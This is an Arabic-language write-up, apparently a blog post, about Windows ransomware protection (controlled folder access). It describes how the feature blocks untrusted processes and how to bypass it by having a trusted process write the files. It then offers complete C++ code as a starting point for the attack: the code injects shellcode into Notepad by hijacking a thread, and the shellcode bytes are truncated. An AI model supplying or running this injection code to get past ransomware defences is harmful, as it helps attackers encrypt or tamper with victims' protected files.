# Windows ransomware protection
What is Windows ransomware protection
هي حماية توفرها لك ويندوز عشان تحميك من هجمات ال ransomware و تكون غير مفعلة لازم تفعلها بنفسك
راح تحصلها هنا
بعد ما نفعلها راح تحميلك بعض المجلدات بالجهاز حقك
هذي المجلدات الخاصية هذي راح تحميها بحيث مو اي برنامج يكتب فيها بس اللي تكون موثوقة من الخاصية نفسها حتى ممكن تبلك برامج singed
طبعا تقدر تضيف انت allowed app بحيث ما يصير له بلوك الخاصية كانت تبلك chrome.exe ف خليته في ال allowed list
## How the feature works?
هذي رسمه بشكل مبسط جدا هدفها وش قاعد يصير بالخلفية
الحين يوم عرفنا كيف الحماية شغاله نقدر نستنتج اكثر من طريقة عشان نتخطاها وحده من الطرق اللي جربتها و ضبطت علطول اني اخلي trusted process هي اللي تكتب بالملف بس لو نجرب نكتب ملف في بروسيس مو موثوقة بيصير كذا
و الحماية راح تقفل ال operation حقتنا و ماراح نقدر نكتب ملف
و بكذا بتقدر تتخطى الحماية حقت ال ransomware protection اذا تبي تنفذ الاتاك ممكن تبحث عن
-Inject shellcode to remote process
-process hollowing
و اذا تبي كود ممكن تبدأ منه
```cpp
#include
#include
#include
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52...shellcode";
HANDLE targetProcessHandle;
PVOID remoteBuffer;
HANDLE threadHijacked = NULL;
HANDLE snapshot;
THREADENTRY32 threadEntry;
CONTEXT context;
DWORD targetPID = 15048; // Notepad pid
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(snapshot, &threadEntry);
while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break;
}
}
SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
context.Rip = (DWORD_PTR)remoteBuffer;
SetThreadContext(threadHijacked, &context);
ResumeThread(threadHijacked);
}
```
الملخص
اذا فهمت الخاصية كيف تشتغل راح تقدر تتخطاها طبعا هذا الشي مو دايم حسب صعوبة الشي و لكن دايم لما تبي تتخطى او بتسوي حماية لازم تفهم كيف شغاله الحمايه او كيف شغال التخطي
